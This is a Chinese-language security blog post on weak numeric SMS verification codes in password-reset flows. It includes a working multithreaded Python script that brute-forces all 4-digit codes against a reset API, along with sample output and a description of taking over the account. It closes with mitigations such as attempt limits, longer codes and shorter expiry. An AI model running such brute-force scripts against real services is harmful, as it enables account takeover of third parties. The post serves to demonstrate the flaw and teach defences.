Home 找回密碼之簡訊驗證碼強度安全問題
Post
Cancel

找回密碼之簡訊驗證碼強度安全問題

找回密碼之簡訊驗證碼強度安全問題

使用 Python 展示暴力破解的嚴重性

Photo by Matt Artz

Photo by Matt Artz

前言

本文沒什麼資安技術含量,單純是日前在使用某平台網站時的突發奇想;想說順手測看看安全性,結果發現的問題。

在使用網站、APP 服務的忘記密碼找回功能時;一般會有兩個選項,一是輸入帳號、Email,然後會寄含有 Token 的重設密碼頁面連結到信箱,點擊後打開頁面就能重設密碼,這部分沒什麼問題,除非像 之前那篇 文章所說,設計上有漏洞才會有問題。

另一個找回密碼的方式是輸入綁定的手機號碼(多半用在 APP 服務),然後會寄出簡訊驗證碼到手機,完成驗證碼輸入即可重設密碼;但為了便利性,多半的服務都是使用純數字作為驗證碼,另外也因為在 iOS ≥ 11 之後增加 Password AutoFill 功能,當手機收到驗證碼後鍵盤會自動判讀並跳出提示。

查找 官方文件 ,蘋果並沒有給出驗證碼自動填入的判讀格式規則;但我看幾乎所有能支援自動填入的服務都是使用純數字,推測應該是只能用數字不能使用數字英文夾雜的複雜組合。

問題

因數字密碼的組合存在暴力破解的可能性,尤其是 4 位密碼;組合只有 0000~9999,10,000 種組合;使用多個 thread 多台機器就能分組暴力破解。

假設驗證請求需要 0.1 秒回應,10,000 個組合 = 10,000 次請求

1
破解所需嘗試時間:((10,000 * 0.1) / thread 數) 秒

就算不開 thread 也只需要 16 多分種就能嘗試出正確的簡訊驗證碼。

除密碼長度、複雜度不足之外,還有個問題是驗證碼未設嘗試上限、有效期限太長這兩個問題。

組合

綜合上述,此資安問題常見於 APP 端;因網頁服務多半都會在嘗試錯誤多次後加上圖形驗證碼驗證或在請求重設密碼時需多輸入安全問題,增加發送驗證請求的困難度;另外網頁服務的驗證若沒有前後端分離,變成每次驗證請求都要拿整個網頁,拉長請求回應時間。

APP 端因流程設計及方便使用者,多半會簡化重設密碼流程、有的 APP 甚至是通過手機號碼驗證就能登入;如果在 API 端沒有做防護則會造成資安漏洞。

實踐

⚠️警告⚠️ 本文僅作展示此安全問題的嚴重性,請勿拿去做壞事。

嗅探驗證請求 API

萬事都從嗅探開始,這部分可參考之前的文章「 APP有用HTTPS傳輸,但資料還是被偷了。 」、「 使用 Python+Google Cloud Platform+Line Bot 自動執行例行瑣事 」第一篇文章看原理建議使用第二篇文章的 Proxyman 進行嗅探。

如果是前後端分離的網站服務也能使用 Chrome -> 檢查 -> Network -> 查看在送出驗證碼後發了什麼請求。

這邊假設得到的檢查驗證碼請求是:

1
POST https://zhgchg.li/findPWD

Response:

1
2
3
4
{
   "status":fasle
   "msg":"驗證錯誤"
}

撰寫暴力破解 Python 腳本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import random
import requests
import json
import threading

phone = "0911111111"
found = False
def crack(start, end):
    global found
    for code in range(start, end):
        if found:
            break
        
        stringCode = str(code).zfill(4)
        data = {
            "phone" : phone,
            "code": stringCode
        }

        headers = {}
        try:
            request = requests.post('https://zhgchg.li/findPWD', data = data, headers = headers)
            result = json.loads(request.content)
            if result["status"] == True:
                print("Code is:" + stringCode)
                found = True
                break
            else:
                print("Code " + stringCode + " is wrong.")
        except Exception as e:
            print("Code "+ stringCode +" exception error \(" + str(e) + ")")

def main():
    codeGroups = [
        [0,1000],[1000,2000],[2000,3000],[3000,4000],[4000,5000],
        [5000,6000],[6000,7000],[7000,8000],[8000,9000],[9000,10000]
    ]
    for codeGroup in codeGroups:
        t = threading.Thread(target = crack, args = (codeGroup[0],codeGroup[1],))
        t.start()

main()

執行腳本後我們得到:

1
驗證碼等於:1743

1743 帶入重設密碼更改掉原始密碼或直接登入帳號。

Bigo!

解決之道

  • 密碼重設增加更多資訊驗證(如:生日、安全問題)
  • 增加驗證碼長度(如 Apple 6 碼數字)、增加驗證碼複雜度(如果不影響 AutoFill 功能)
  • 驗證碼嘗試錯誤大於 3 次後使其失效,需請使用者重新發送驗證碼
  • 驗證碼有效時限縮短
  • 驗證碼嘗試錯誤過多次鎖定裝置、增加圖形驗證碼
  • APP 多做 SSL Pining、傳輸加解密(防止嗅探)

===

本文首次發表於 Medium ➡️ 前往查看

This post is licensed under CC BY 4.0 by the author.

Bye Bye 2020 經營 Medium 第二年回顧

使用 Firebase Firestore + Functions 快速搭建可供測試的 API 服務

Comments powered by Disqus.